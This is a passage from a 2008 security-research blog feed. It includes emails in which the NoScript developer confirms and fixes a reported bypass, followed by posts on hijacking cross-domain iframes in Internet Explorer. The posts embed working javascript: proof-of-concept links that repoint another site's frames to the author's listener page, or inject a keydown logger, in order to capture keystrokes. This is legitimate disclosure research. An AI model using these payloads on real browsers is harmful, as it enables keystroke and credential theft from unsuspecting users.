    <tr>
      <td>
        <b>Giorgio Maone</b>
      </td>
      <td>
        <b>Sat, Jun 21, 2008 at 9:32 AM</b>
      </td>
    </tr>
    <tr>
      <td>
        To: Eduardo Vela
      </td>
    </tr>
    <tr>
      <td>
        <table>
          <tr>
            <td>
              Hi Edoardo!<br />
              <br />
              Thanks for the info, it's very interesting.<br />
              I'm investigating it.<br />
              Cheers<br />
              --<br />
              Giorgio[Quoted text hidden]
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
  <table>
    <tr>
      <td>
        <b>Giorgio Maone</b>
      </td>
      <td>
        <b>Sat, Jun 21, 2008 at 9:35 AM</b>
      </td>
    </tr>
    <tr>
      <td>
        To: Eduardo Vela
      </td>
    </tr>
    <tr>
      <td>
        <table>
          <tr>
            <td>
              BTW, shift does not work for me (must still test on a clean profile, though) but ctrl does.[Quoted text hidden]
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
  <table>
    <tr>
      <td>
        <b>Eduardo Vela</b>
      </td>
      <td>
        <b>Sat, Jun 21, 2008 at 9:36 AM</b>
      </td>
    </tr>
    <tr>
      <td>
        To: Giorgio Maone
      </td>
    </tr>
    <tr>
      <td>
        <table>
          <tr>
            <td>
              Control should open the script on a new tab, and shift on a new window.. maybe popup blocker stuff, or something?[Quoted text hidden]--<br />
              Frank Lloyd Wright - "TV is chewing gum for the eyes."
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
  <table>
    <tr>
      <td>
        <b>Giorgio Maone</b>
      </td>
      <td>
        <b>Sat, Jun 21, 2008 at 9:38 AM</b>
      </td>
    </tr>
    <tr>
      <td>
        To: Eduardo Vela
      </td>
    </tr>
    <tr>
      <td>
        <table>
          <tr>
            <td>
              Maybe, or Tab Mix Plus.<br />
              Shift does open a window for me, but it's empty and no script gets executed.<br />
              [Quoted text hidden]
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
  <table>
    <tr>
      <td>
        <b>Giorgio Maone</b>
      </td>
      <td>
        <b>Sat, Jun 21, 2008 at 9:56 AM</b>
      </td>
    </tr>
    <tr>
      <td>
        To: Eduardo Vela
      </td>
    </tr>
    <tr>
      <td>
        <table>
          <tr>
            <td>
              Forgot to tell, this is a bug for me (likely a regression), because I've got code in place to prevent exactly this sort of javascript:/data: url openings.<br />
              Hence expect a fix build in a very short time.<br />
              Thanks![Quoted text hidden]
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
  <table>
    <tr>
      <td>
        <b>Giorgio Maone</b>
      </td>
      <td>
        <b>Sat, Jun 21, 2008 at 10:12 AM</b>
      </td>
    </tr>
    <tr>
      <td>
        To: Eduardo Vela
      </td>
    </tr>
    <tr>
      <td>
        <table>
          <tr>
            <td>
              OK, I found the culprit.<br />
              At a certain point in time I turned the default for the "noscript.forbidData" about:config preference to "false", in order to work-around a Firebug bug. It seemed a relatively innocuous change, considered also that about:blank is not in the default whitelist.<br />
              Anyway, since the Firebug issue is obsolete and I'm much more worried of this kind of bypass, next build will restore the original "true" default.<br />
              <br />
              Thanks again<br />
              --<br />
              Giorgio[Quoted text hidden]
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
  <table>
    <tr>
      <td>
        <b>Giorgio Maone</b>
      </td>
      <td>
        <b>Sat, Jun 21, 2008 at 10:34 AM</b>
      </td>
    </tr>
    <tr>
      <td>
        To: Eduardo Vela
      </td>
    </tr>
    <tr>
      <td>
        <table>
          <tr>
            <td>
              <a href="http://noscript.net/getit#devel">Done</a> :)<br />
              Please wait for public release of 1.7 (in a week or even earlier) to disclose the details.[Quoted text hidden]
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
</blockquote>So, that's all, we are on 1.7.1 and this last bug was fixed on 1.6.9.8, so we are all safe =)<br />
<br />
Anyway, as it wil be soon explained, just blocking javascript, flash, and other plugins is not enough.. we have a sexy assassin uncaptured ;)<br />
<br />
Greetings!! <a href="http://sirdarckcat.net/">sirdarckcat</a><img src='https://blogger.googleusercontent.com/tracker/7482149-3939140144752168354?l=sirdarckcat.blogspot.com' alt='' />
<p>
  <a href="http://feedads.g.doubleclick.net/~a/vBfZq-qBjI6FVxuTv_04L3ESvoI/0/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/vBfZq-qBjI6FVxuTv_04L3ESvoI/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/vBfZq-qBjI6FVxuTv_04L3ESvoI/1/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/vBfZq-qBjI6FVxuTv_04L3ESvoI/1/di" /></a>
</p><img alt="" src="http://feeds.feedburner.com/~r/sirdarckcat/~4/YC9xQLrBgrM" /> ]]></content:encoded>
</item>
<item>
		<title>sirdarckcat: Ghosts for IE8 and IE7.5730</title>
		<link>http://sirdarckcat.blogspot.com/2008/05/ghosts-for-ie8-and-ie75730.html</link>
		<pubDate>Mon, 12 May 2008 10:55:00 -0500</pubDate>
		<guid>http://sirdarckcat.blogspot.com/2008/05/ghosts-for-ie8-and-ie75730.html</guid>
		<content:encoded><![CDATA[	Here's a new version of the last post code for hijacking IE6 and IE7 iframes.<br />
<br />
Aparently some versions of IE where fixed, (the code didnt worked for 40% of the people), so after downloading the newest IE7, I kept researching and found another issue.<br />
<br />
<br />
<a href="x=open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return%20'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);">Sample PoC Here.</a><br />
<br />
This time the code will open a new window (hackademix.net), it will hijack one of the iframes, and capture keystrokes.<br />
<br />
It's the same idea as last time, but bypassing a weird protection.<br />
<br />
Greetz!! <a href="http://sirdarckcat.net/">sirdarckcat</a><img src='https://blogger.googleusercontent.com/tracker/7482149-2985256678793343500?l=sirdarckcat.blogspot.com' alt='' />
<p>
  <a href="http://feedads.g.doubleclick.net/~a/nhIKNzD_6M8Os4PqaXXLGXB9Tvk/0/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/nhIKNzD_6M8Os4PqaXXLGXB9Tvk/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/nhIKNzD_6M8Os4PqaXXLGXB9Tvk/1/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/nhIKNzD_6M8Os4PqaXXLGXB9Tvk/1/di" /></a>
</p><img alt="" src="http://feeds.feedburner.com/~r/sirdarckcat/~4/BiXrViwx43M" /> ]]></content:encoded>
</item>
<item>
		<title>sirdarckcat: Browser's Ghost Busters</title>
		<link>http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html</link>
		<pubDate>Sat, 10 May 2008 19:05:00 -0500</pubDate>
		<guid>http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html</guid>
		<content:encoded><![CDATA[	Due to the news that there are a few <a href="http://hackademix.net/2008/05/09/misterious-ghost-stories/">ghost busters</a> on the wild, and <a href="http://talkback.zdnet.com/5208-12691-0.html?forumID=1&amp;threadID=47358&amp;messageID=882431&amp;start=0">no</a> <a href="http://kuza55.blogspot.com/">one</a> is willing to tell us exactly what's the ghost about, I've been doing some research to find out proof that those ghosts exist.<br />
<br />
I'm talking about Manuel Caballero's talk <a href="http://technet.microsoft.com/en-us/security/cc405107.aspx#EHD">A Resident in My Domain</a>:<br />
<br />
<a href="http://2.bp.blogspot.com/_Lks4_cnABGU/SCaOmJkJqqI/AAAAAAAAAGE/OwRP7M25tHE/s1600-h/ghosts-exist.JPG"><img src="http://2.bp.blogspot.com/_Lks4_cnABGU/SCaOmJkJqqI/AAAAAAAAAGE/OwRP7M25tHE/s320/ghosts-exist.JPG" alt="" /></a><br />
From <a href="http://content.zdnet.com/2347-12691_22-200400-200433.html?seq=32">one of the pictures</a> it tells us that there's some relation to iframes.. and also from <a href="http://technet.microsoft.com/en-us/security/cc405107.aspx#EHD">the description of the talk</a> it tells us that it is able to capture non-domain-privileged DOM attributes and methods ( if we could steal cookies, then the description would be a lot more apocalyptic ).. and well, we also know it is cross-domain..<br />
<br />
<ol>
  <li>So, the first "fact" is that using the iframes on any website, you can capture top.location's and keystrokes (this is well known).<br />
    <br />
  </li>
  <li>So, there's a way of modifying iframes on a window, on a domain is not ours.<br />
    <br />
  </li>
  <li>So, we need a way of getting a reference to a window.
  </li>
</ol><br />
There are some ways of doing that:<br />
<br />
<ul>
  <li>window.opener.window
  </li>
  <li>open().window
  </li>
  <li>frames[].window
  </li>
  <li>top
  </li>
  <li>parent
  </li>
  <li>[maybe others I don't know]
  </li>
</ul><br />
<ol>
  <li>So, once we have that, we need a reference to the iframes.
  </li>
</ol><br />
There's 2 ways I know of doing that<br />
<ul>
  <li>document.getElementsByTagName("iframe");
  </li>
  <li>window.frames[];
  </li>
</ul>And, so.<br />
<ul>
  <li>getElementsByTagName fails (IE6, IE7, FF2, FF3, Safari 3).<br />
  </li>
  <li>window.frames[] doesnt fail (IE6, IE7, FF2, FF3, Safari 3);
  </li>
</ul><br />
So we will use window.frames[] to access the iframes.<br />
<br />
Knowing that..<br />
<br />
<ol>
  <li>We will try to modify the location of such frames.
  </li>
</ol><br />
We have a few ways of doing that.<br />
<br />
Via<br />
<ul>
  <li>parent.open("new location","frame-name");
  </li>
  <li>frame.location="new location";
  </li>
  <li>frame.open("new location","_self");
  </li>
</ul><br />
The modification of location of iframe's location work on windows inside frames on IE6, IE7, FF2, FF3 (go <a href="http://images.google.com/imgres?imgurl=http://sla.ckers.org/images/slack.png&amp;imgrefurl=http://sirdarckcat.blogspot.com/&amp;h=300&amp;w=400&amp;sz=490&amp;hl=es&amp;start=32&amp;um=1&amp;tbnid=GnCpmSh_VEDO1M:&amp;tbnh=93&amp;tbnw=124&amp;prev=">here</a> and then use <a href="alert%28%22I%20have%20%22%2Bwindow.frames%5B1%5D.frames.length%2B%22%20iframes.%22%29%3Bwindow.frames%5B1%5D.frames%5B0%5D.location.href%3D%22about%3Ablank%22%3BsetTimeout%28function%28%29%7Bwindow.frames%5B1%5D.frames%5B0%5D.document.write%28%22%3Cbody%3E%3Cscript%3Ealert%28%27Iframe%20modified%2C%20please%20use%20your%20keys%20or%20something%27%29%3Bfunction%20hey%28e%29%7Bif%28%21e%29e%3Dwindow.event%3Balert%28%27captured%3A%20%27%2B%28e.keyCode%7C%7Ce.which%29%29%3B%7D%3BsetInterval%28function%28%29%7Bfocus%28%29%3B%7D%2C100%29%3Bdocument.onkeydown%3Dhey%3B%3C%2Fscript%3E%3C%2Fbody%3E%22%29%3B%7D%2C5000%29%3Balert%28%22Please%20wait%22%29%3B">this</a> code) but we wont use a frame in a frame to get the reference to the window, since we cant detach a window from a frame, and so, it is not what the bug is about.<br />
<br />
Anyway, none of the mentioned method work for windows gotten from window.opener and open() on FF2 or FF3, but <a href="x=open('http://sirdarckcat.blogspot.com/');y=setInterval(function(){try{x.frames[0].location='http://www.sirdarckcat.net/caballero-listener.html';clearInterval(y);}catch(e){}},500);void(1);">it does work on IE7 on windows gotten from open()</a> and <a href="http://www.sirdarckcat.net/caballero.html">from window.opener</a>.<br />
<br />
<ol>
  <li>So so far, we have an exploit that only works on IE (6&amp;7).
  </li>
</ol>What do you say? is this the <a href="http://en.wikipedia.org/wiki/Proton_pack">proton pack</a> we were looking for?<br />
<br />
<a href="http://3.bp.blogspot.com/_Lks4_cnABGU/SCaVUZkJqrI/AAAAAAAAAGM/G3lLGmSbeRA/s1600-h/proton-pack.JPG"><img src="http://3.bp.blogspot.com/_Lks4_cnABGU/SCaVUZkJqrI/AAAAAAAAAGM/G3lLGmSbeRA/s320/proton-pack.JPG" alt="" /></a><br />
For obvious reasons I wont disclose a IHE (Interactive Hacking Environment) as Caballero apparently has one, but I think this may be the bug, or some similar bug to the one he presented.<br />
<br />
Greetings!!<br />
<br />
PS. This doesn't work on IE8. thanks to <a href="http://www.p42.us/">thornmaker</a> for testing.<br />
PS2. There's a version that works on IE8 and all versions of IE7:<br />
<a href="http://sirdarckcat.blogspot.com/2008/05/ghosts-for-ie8-and-ie75730.html">[sirdarckcat.blogspot.com]</a> <a href="http://sirdarckcat.net/">sirdarckcat</a><img src='https://blogger.googleusercontent.com/tracker/7482149-2524018151595755575?l=sirdarckcat.blogspot.com' alt='' />
<p>
  <a href="http://feedads.g.doubleclick.net/~a/bx-0-Sl02ivO5M8azAZ8JBSWMQI/0/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/bx-0-Sl02ivO5M8azAZ8JBSWMQI/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/bx-0-Sl02ivO5M8azAZ8JBSWMQI/1/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/bx-0-Sl02ivO5M8azAZ8JBSWMQI/1/di" /></a>
</p><img alt="" src="http://feeds.feedburner.com/~r/sirdarckcat/~4/nEsmYAKhIRE" /> ]]></content:encoded>
</item>


</channel>
</rss>
